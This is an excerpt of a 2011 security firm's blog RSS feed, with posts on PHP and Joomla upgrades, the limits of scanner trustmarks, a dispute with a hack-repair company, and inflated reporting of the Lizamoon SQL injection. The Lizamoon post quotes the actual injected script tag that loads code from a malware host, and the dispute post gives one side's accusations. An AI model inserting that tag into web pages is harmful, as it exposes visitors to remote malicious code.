<p>We would expect that a security researcher would know that you need to keep server software up to date and that PHP 5.2.4 itself is very outdated before making the statement they did. The fact that somebody claiming to be a security researcher doesn’t know this is a great example of why website security is in such a bad place. There are many people that are involved in website security that don’t’ know even the basics, but that doesn&#8217;t seem to stop them from telling others what they should be doing. If an actual security researcher were to complain about this, you would expect them to be suggesting that WordPress and other web software raise the required PHP version even higher. There have been numerous security fixes included in versions of PHP since version 5.2.4 was released and support for PHP 5.2 ended in December of last year. PHP 5.3 includes major changes that can cause software to break so many host are holding back switching to until more software is available with a version that supports PHP 5.3, but there is no reason they could not be running the last version of 5.2, 5.2.17. 5.2.17 was released over six months ago.</p>
<p>WordPress 3.2 also requires at least MySQL 5. None of our clients were running something below that this year. Support for the version below that, 4.1, ended on December 31, 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whitefirdesign.com/blog/2011/06/27/increased-php-requirement-for-wordpress-3-2-not-a-major-issue/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Is It Time to Upgrade to Joomla 1.6?</title>
		<link>http://www.whitefirdesign.com/blog/2011/04/25/is-it-time-to-upgrade-to-joomla-1-6/</link>
		<comments>http://www.whitefirdesign.com/blog/2011/04/25/is-it-time-to-upgrade-to-joomla-1-6/#comments</comments>
		<pubDate>Mon, 25 Apr 2011 21:23:38 +0000</pubDate>
		<dc:creator>White Fir Design</dc:creator>
				<category><![CDATA[Joomla]]></category>

		<guid isPermaLink="false">http://www.whitefirdesign.com/blog/?p=1020</guid>
		<description><![CDATA[Recently we have been having many discussions with clients about whether it is time for them to upgrade from Joomla 1.5 to Joomla 1.6, with most of the discussion surrounding whether it is necessary to do that now for security &#8230; <a href="http://www.whitefirdesign.com/blog/2011/04/25/is-it-time-to-upgrade-to-joomla-1-6/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Recently we have been having many discussions with clients about whether it is time for them to upgrade from Joomla 1.5 to Joomla 1.6, with most of the discussion surrounding whether it is necessary to do that now for security purposes. There are a number of factors that need to looked at to determine if it is time for you to upgrade.</p>
<p>It is often said that one of the most important measures for keeping a website secure is to insure that you are running the latest version of any software on the website. While that this is true in general, what isn&#8217;t mentioned explicitly in that advice, and many companies that claim to be security experts don&#8217;t seem to understand, is that you need to keep the software updated to one of the latest supported versions. If more than one version is supported at a time you don&#8217;t need to be running the latest version, just one of the latest supported versions. In the case of Joomla, both version 1.5 and 1.6 are currently supported with bug and security fixes. So at the moment you would be secure if you were running either 1.5.23 or 1.6.3. Back in January, when Joomla 1.6 was released, it was announced that <a href="http://community.joomla.org/blogs/leadership/1395-the-path-forward-migration-and-the-future.html">support for Joomla 1.5 would continue for 15 months</a>, so there is about year of support for Joomla 1.5 left. </p>
<p>A major reason for the continued support of Joomla 1.5 is that Joomla 1.6 is a major upgrade from Joomla 1.6, which requires migrating the Joomla database, <a href="http://docs.joomla.org/Tutorial:Upgrade_Joomla_1.5_Template_to_Joomla_1.6">some changes in Templates</a> to be compatible with Joomla 1.6, and can require major changes in extensions to be compatible. At this point many extensions do not have a version compatible with Joomla 1.6; VirtueMart is one such extensions that comes up often during our discussions.</p>
<p>Joomla 1.6 does not introduce any features that directly increase security from hacking. An automatic update features has been added that makes it easier for Joomla and its extensions, which support the feature, to be updated. As keeping Joomla and its extensions up to date is the most important step to keep a Joomla website secure, this will hopefully improve security.</p>
<p>It is also important to note that Joomla 1.6 requires at least version 5.2 of PHP and version 5.0.4 of MySQL. At this point, hosting providers should already provide those, though in some cases you to switch to PHP 5 in your hosting account’s options. You can check what versions of those are currently being used on the System Info page, which is accessible from the Help menu in the Joomla admin.</p>
<p><strong>So Should You Upgrade Now?</strong></p>
<ul class="circle">
<li>If you are in need of the new features in Joomla 1.6 and the extensions you need are compatible with it, you can upgrade now.</li>
<li>If you are in need of the new features in Joomla 1.6 and the extensions you need are not yet compatible, you will need to wait until those become available.</li>
<li>If you are not in need of the new features then you can wait to upgrade. You might want to begin planning for the upgrade, checking your template, scheduling for the upgrade to be performed during a non busy time for the website, etc.</li>
</ul>
<p><strong>Still Running Joomla 1.0?</strong></p>
<p>While support ended for Joomla 1.0 in July of 2009 many website are still running Joomla 1.0. While we haven’t seen Joomla 1.0 to be a major target for hackers, we still strongly recommend upgrading to a supported version as soon as possible. While jumping to Joomla 1.6 appears to be the better option, as you will not need to make another major upgrade in the next year or so, it is not always possible yet and will require a larger change be made at one time. In our discussions involving Joomla 1.0 websites the major issues holding back upgrading to Joomla 1.6 has been that needed extensions are not yet compatible with the new version. Upgrading to Joomla 1.5 may require less change as it provides a legacy mode that allows some Joomla 1.0 templates and extensions to continue to run without modification, that feature does not exist in Joomla 1.6. You will still eventually need a template and extensions that are compatible with Joomla 1.6, but you would have over a year to get those in place while having a secured website in the mean time.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whitefirdesign.com/blog/2011/04/25/is-it-time-to-upgrade-to-joomla-1-6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Why That Trustmark Doesn&#8217;t Mean a Website is Actually Secure</title>
		<link>http://www.whitefirdesign.com/blog/2011/04/19/why-that-trustmark-doesnt-mean-a-website-is-actually-secure/</link>
		<comments>http://www.whitefirdesign.com/blog/2011/04/19/why-that-trustmark-doesnt-mean-a-website-is-actually-secure/#comments</comments>
		<pubDate>Tue, 19 Apr 2011 20:05:46 +0000</pubDate>
		<dc:creator>White Fir Design</dc:creator>
				<category><![CDATA[Bad Security]]></category>

		<guid isPermaLink="false">http://www.whitefirdesign.com/blog/?p=1006</guid>
		<description><![CDATA[Three weeks ago it was disclosed that McAfee&#8217;s website contained numerous security vulnerabilities. What make this disclosure significant is that at the time the website was found vulnerable, the McAfee Secure service, which scans websites for security issues, was certifying &#8230; <a href="http://www.whitefirdesign.com/blog/2011/04/19/why-that-trustmark-doesnt-mean-a-website-is-actually-secure/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Three weeks ago it was disclosed that <a href="http://www.networkworld.com/news/2011/032811-mcafee-security-holes.html">McAfee&#8217;s website contained numerous security vulnerabilities</a>. What make this disclosure significant is that at the time the website was found vulnerable, the McAfee Secure service, which scans websites for security issues, was certifying that the website was secure and McAfee&#8217;s website contained a trustmark from McAfee Secure letting visitors know this. This claim was obviously not true at the time. This situation underscores the fact that the McAfee Secure service and other companies security scanning services, as well as the trustmarks they provide to websites, cannot be trusted to identify if a website is secure. This is because scanners can only actually determine is that the website does not contain specific security issues that the maker of the scanner knows about and is testing for. If, as in the case of McAfee&#8217;s website, they do not know about the specific security issue they would never detect it and the trustmark would still claim the website is secure.</p>
<p>In the case of McAfee they don&#8217;t even seem to be very focused on the security that their scanner is supposed to provide. On the <a href="http://www.mcafeesecure.com/us/products/mcafee_secure.jsp?tab=1">web page for McAfee Secure</a>, the emphasize is placed not on any increased security the product provides but on claims that having their trustmark on the website will increase sales for the website.</p>
<p>While those scanners limitation in only being albe to detect known security issues is a big issue there is also a much bigger problem with these scanners, they scan the website from the outside. This is often touted as a feature, but it is a major weakness of the services. What it means is that anything that is not accessible from the outside cannot be scanned, so even if a scanner could detect all possibilities security issues that are detectable from the outside the website can still be insecure. Here are a couple of real world examples we have dealt with where these scanners failed in this way:</p>
<p>We were contacted about a website in which files on the website were having spam links added to them repeatedly. The client had run two of these scanners and they hadn&#8217;t found the security issue allowing this to happen. After discussing the situation with them we were able to assist them in finding a backdoor script which was allowing this to occur. A backdoor script allows a hacker remote access to the website. In their simplest form they execute code sent to them. More advanced ones provide a variety of tools and the ability to view the websites files. It is almost impossible for one these scanners to detect a backdoor script. The backdoor script can be given a random name and placed anywhere in a website. So the scanner would need to scan a nearly unlimited number of URLs to be able to request the backdoor script. Depending on the backdoor script, they might also need to request the backdoor script in a certain way for it to be possible to detect that it is a backdoor that is at the location. Needless to say, these scanners do not attempt this.</p>
<p>In a more serious situation we had a client where credit card information entered on their website was being transmitted to someone who was using it to attempt to make fraudulent purchases. They had run it through one these scanners without it finding any issues. What we found was that a hacker had placed some code into the file that handled credit card input, which transmitted the information to another website. The web page were you inputted the credit card information was exactly the same as it would be without the code, so it is impossible for a scanner to detect this type of thing.</p>
<p>For webmasters who utilize widely used software like WordPress, Joomla, Drupal, etc., the software will have already been run through these security scanners, so as long you keep the software updated the scanners are of little use. If you use custom written software you’re much better off having someone who is a familiar with handling security in programming language the website is written in review your website. They might use one these  security scanners as part of their process in addition to other methods. They would also be able to correct the insecure code, which something that is going to need to done if the scanner identifies anything anyway.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whitefirdesign.com/blog/2011/04/19/why-that-trustmark-doesnt-mean-a-website-is-actually-secure/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>What TVCNet/hackrepair.com Doesn&#8217;t Want You to Be Able to Read</title>
		<link>http://www.whitefirdesign.com/blog/2011/04/13/what-tvcnethackrepair-com-doesnt-want-you-to-be-able-to-read/</link>
		<comments>http://www.whitefirdesign.com/blog/2011/04/13/what-tvcnethackrepair-com-doesnt-want-you-to-be-able-to-read/#comments</comments>
		<pubDate>Wed, 13 Apr 2011 18:02:06 +0000</pubDate>
		<dc:creator>White Fir Design</dc:creator>
				<category><![CDATA[Bad Security]]></category>

		<guid isPermaLink="false">http://www.whitefirdesign.com/blog/?p=988</guid>
		<description><![CDATA[Back in March we wrote a post about the danger of unethical hack repair services. This is certainly not the only area that we deal in where there is unethical behavior. On a fairly regular basis we are contacted about &#8230; <a href="http://www.whitefirdesign.com/blog/2011/04/13/what-tvcnethackrepair-com-doesnt-want-you-to-be-able-to-read/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Back in March we wrote a post about the <a title="The Danger of Unethical Website Hack Repair Services" href="http://www.whitefirdesign.com/blog/2011/03/03/the-danger-of-unethical-website-hack-repair-services/">danger of unethical hack repair services</a>. This is certainly not the only area that we deal in where there is unethical behavior. On a fairly regular basis we are contacted about issues from companies that are being paid to maintain websites despite not knowing what they need to do maintain the websites and not having the ability to perform that maintenance even if they knew what it was.</p>
<p>In that post we discussed a company called TVCNet, which also does business as hackrepair.com, thehackrepairguy.com, and &#8220;The Hack Repair Guy&#8221;. We were stunned by a recent interaction with them and felt it was important to write about what happened so that public at large could be aware as well. Here is what we wrote about them in that post:</p>
<blockquote><p>What we haven’t dealt with before is a company that offers to clean  up hacked websites contact us and admit that they were unable to  determine how a website was hacked and wanted us to do it for them. Then  last week we were contacted by a representative from TVCNet, which also  advertises their service at hackrepair.com. They told us that they were  good at removing the hack code, but a website they cleaned was being  reinfected and they couldn’t determine what was allowing the website to  be reinfected. The infection that they describe was one that should have  been very easy to determine the source of if they had even very modest  experience dealing with cleaning up after hacks. It certainly should not  have been a problem for someone that is charging clients 350 dollars to  clean up a hacked website (they apparently charge extra to upgrade  software, even though that is often essential for securing a website).</p>
<p>With a company operating in what we consider an unethical manner, it  is not a surprise that they are also lying about their service. They  claim that they “We will work direct with Google staff, and ensure your  web site is unblocked by Google”. The truth is getting unblocked by  Google is a completely <a href="http://www.whitefirdesign.com/resources/request-a-malware-review-from-google.html">automated  process</a> that doesn’t involve working directly with Google staff.</p></blockquote>
<p>On Monday, they left a comment on our blog that sidestepped the substance of post, it appeared that may not have even bothered to read the post, while making a number of accusations against us (we moderate comments so you won’t see it). We sent them an email letting them know we would not be posting the comment and informing them that we would post a correction if there was a factual mistake in the post.  We are always happy to post a correction if there is a factual mistake in one of our post, that is mentioned in the “Did We Make a Mistake?”section of this blog’s sidebar.</p>
<p>The next day we received an email from them that claimed the post was inaccurate, but did not dispute any of the facts present in the article. What they did instead was to falsely accuse us of slander. It is impossible for our <em>written</em> post to have been slanderous, but it is also was not any other form of defamation either. Defamation requires, among other things, that a statement of fact be false. We stand behind the facts in that article as well as the opinions presented. They so far have also not disputed any of the facts present in the post.</p>
<p>In both instances they requested we remove the post. In the second instances they tied the request to their false accusation of slander, with the implicit implication of bringing that up that an illegal act had occurred and that there could be legal remedies. We won’t be doing that as it is important for the public to know of the danger of unethical hack repair services, especially if companies don’t want you to know about it.</p>
<p>There most recent response also raised other troubling issues. In the email they claim to have had to spend over 40 hours clearing up the hack in question. We have never spent anywhere that much time clearing up after hack and the hack in this case was particular simple so it should not have taken that long. To us, that seems to be an indication that something is really wrong with their capabilities or process. That further backs up our opinion that they operate in unethical manner by providing a service that do not have the necessary experience to do properly.</p>
<p>That response also indicated that they had moved that hacked clients to their hosting service. We strongly believe that hack repair providers should not involved in any way in with moving users to a hosting provider they have a financial relationship with, especially one that has had security issues within the recent past. In a <a href="http://blog.skeptikal.org/2010/03/website-security-seals-smackdown.html">post</a> last year it was disclosed that TVCNet’s servers come “with the standard formmail.cgi  XSS and cgiecho  information disclosure vulnerabilities”. That post also claims that “you can bet they spin more than their fair share of BS.” So we are not the only people that have concerns about this company.</p>
<p>Before publishing this post, we will be offering not publish it as long as TVCNet agrees to stop trying to intimidate us into suppressing our previous posting about the <a title="The Danger of Unethical Website Hack Repair Services" href="http://www.whitefirdesign.com/blog/2011/03/03/the-danger-of-unethical-website-hack-repair-services/">danger of unethical hack repair services</a> and stop making potentially defamatory statements about us. We hope they take up the offer and stop making a bad situation of their own making worse. If this is posted, it means that they continue to want the public not be able read this important information.</p>
<p><strong>Update (April 22, 2011)</strong>: Since this post was published the situation has taken an odd and disturbing turn. Employee(s) of TVCNet have become rather obsessed with our company and our employees. They have been posting bizarre, incoherent rants about us, as well as posting personal information about employees, across the Internet. At the same time they have not informed us of any actual factual mistakes in our original post, which if they actually existed we would happily post a correction for. What is occurring is certainly not something that a reputable company would be doing and unfortunately seems to be an indication that the employee(s) of the company may have mental health issues, if that is the case we certainly hope that they will get help for those issues.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whitefirdesign.com/blog/2011/04/13/what-tvcnethackrepair-com-doesnt-want-you-to-be-able-to-read/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>The Hype Surrounding &#8220;Massive&#8221; Malware SQL Injections</title>
		<link>http://www.whitefirdesign.com/blog/2011/04/05/the-hype-surrounding-massive-malware-sql-injections/</link>
		<comments>http://www.whitefirdesign.com/blog/2011/04/05/the-hype-surrounding-massive-malware-sql-injections/#comments</comments>
		<pubDate>Tue, 05 Apr 2011 20:37:17 +0000</pubDate>
		<dc:creator>White Fir Design</dc:creator>
				<category><![CDATA[Website Malware]]></category>

		<guid isPermaLink="false">http://www.whitefirdesign.com/blog/?p=970</guid>
		<description><![CDATA[Every so often there is another round of a fairly unsophisticated SQL injection that places malware scripts into poorly coded websites occurs and then there is a enviably a security company that hypes the infections and flood of new stories &#8230; <a href="http://www.whitefirdesign.com/blog/2011/04/05/the-hype-surrounding-massive-malware-sql-injections/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Every so often there is another round of a fairly unsophisticated SQL injection that places malware scripts into poorly coded websites occurs and then there is a enviably a security company that hypes the infections and flood of new stories about it.  Another round of the infection occurred in the last week, dubbed Lizamoon by Websense who is the company to hype this round (we previously discussed <a title="Websense Threat Report Repeats False Claims of WordPress Hackings" href="http://www.whitefirdesign.com/blog/2010/11/15/websense-threat-report-repeats-false-claims-of-wordpress-hackings/">Websense’s false claims of WordPress security issues</a>). From what we have seen dealing with malware infected websites and other data confirms is that these &#8220;massive&#8221; infections are not massive as they are claimed to be each time, in fact they are of average size for a malware infection of websites. Most of those average size malware infections never receive any press coverage. The reason these attacks seems to receive the coverage is because of the use of Google search results to provide a large but highly inaccurate measure of the size of the infection.</p>
<p>The most important thing to understand about these infections, and this often not mentioned, is that they are completely preventable by properly sanitizing user input data that will be sent to a database. Anyone coding should be well aware of this the possibility of a SQL injection , these specific attacks have been occurring for years, and take the necessary precautions. Prevent SQL injections is one of key things mentioned in our article on <a href="http://www.whitefirdesign.com/resources/secure-your-website-from-hackers.html">securing your website from hackers</a>. Widely used software like WordPress, Drupal, and Joomla are not susceptible to such a basic SQL injection. Unfortunately, even websites that get hit often don’t bother to take the necessary precautions to prevent these SQL injections. Instead, they often just remove the code from the database. There are also unethical website malware removal companies that will remove the infection from the database without insuring the SQL injection vulnerability has been fixed.</p>
<p>Normally you cannot search for a malware using Google’s search engine. This is due the fact Google only makes a web page’s text content searchable and not the HTML code that makes up the page. The malware either consists of a script of iframe tag, both of with are HTML code that would not be searchable. What happens with these injections is that they get placed throughout out the database, in some instances they are placed in a location where the code from the database is escaped while the web page is being generated. So in the source code it would look like</p>
<blockquote><p>&amp;lt;script src=http://lizamoon.com/ur.php&amp;gt;&amp;lt;/script&amp;gt;</p></blockquote>
<p>instead of</p>
<blockquote><p>&lt;script src=http://lizamoon.com/ur.php&gt;&lt;/script&gt;</p></blockquote>
<p>.Because the code has been escaped it will appear as text in the pages and therefore be searchable. When the code is placed into the website in escaped form it is not infectious.</p>
<p>There are several problems with trying to use Google search results to measure the size infection:</p>
<ul class="circle">
<li>The number that Google provides in an estimate, it’s not all clear how accurate it is. If you include duplicate pages currently you can only see 604 results for the search &#8220;&lt;script src=http://lizamoon.com/ur.php&gt;&lt;/script&gt;&#8221; despite there being &#8220;about 1,470,000 results&#8221;.</li>
<li>The number includes any page, like this one, that mentions the code.</li>
<li>Not all pages that have the code are actually infection, because the code only searchable if it escaped. So it would require that another instance that is not escaped be one the page for it to be infectious. We checked the first 10 results for the search &#8220;&lt;script src=http://lizamoon.com/ur.php&gt;&lt;/script&gt;&#8221; which were still injected and found that only four of them were infectious.</li>
<li>Most malware infections are not measurable using search results making a comparison with them impossible using the metric.</li>
<li>Web pages are not a good measure of the reach of a malware infection. A page could be accessed millions of times a day or never.</li>
</ul>
<p>The ideal way to measure the size of a malware infection would be to determine how many times each pages with the malware would be accessed. There is not a tool able to do this and there is unlikely to be one.  What we have found to best indicator available to measure the size of a malware infection size is Google Safe Browsing system. This system scans web pages from across the Internet for malware. This data is used to block infected websites in Google’s search results and is also used for malware protection in the FireFox, Chrome, and Safari web browsers.  It does not scan all websites and does not scan all of the websites it does scan equally, so the number won’t include every infected website. Google doesn’t indicate what criteria it uses to determine how often it scan various, but in general it scans more popular website more often so it should provide a good measure of how many website that people are likely to access were infected. At the moment the system <a href="http://www.google.com/safebrowsing/diagnostic?site=lizamoon.com">reports that lizamoon.com has infected 1436 domains</a>. That is far lower than the nearly 4 million websites claimed to have been infected according to <a href="http://money.cnn.com/2011/04/01/technology/lizamoon/index.htm">one source</a>, far lower than the 1,470,000 reported for a search on &#8220;&lt;script src=http://lizamoon.com/ur.php&gt;&lt;/script&gt;&#8221;, and far lower than &#8220;hundreds of thousands of domains&#8221; <a href="http://www.eweek.com/c/a/Security/LizaMoon-Mass-SQL-Injection-Attack-Escalates-Out-of-Control-378108/">claimed by Websense</a>. By comparison, the IP address 86.55.140.203 that is called by a <a href="http://www.whitefirdesign.com/resources/try-pick-colors-oscommerce-malware-hack.html">infection</a> that has recently been hitting many osCommerce based websites is <a href="http://www.google.com/safebrowsing/diagnostic?site=86.55.140.0/">reported to have acted as an intermediary for 2957 sites</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whitefirdesign.com/blog/2011/04/05/the-hype-surrounding-massive-malware-sql-injections/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/us/</creativeCommons:license>
	</item>
	</channel>
</rss>

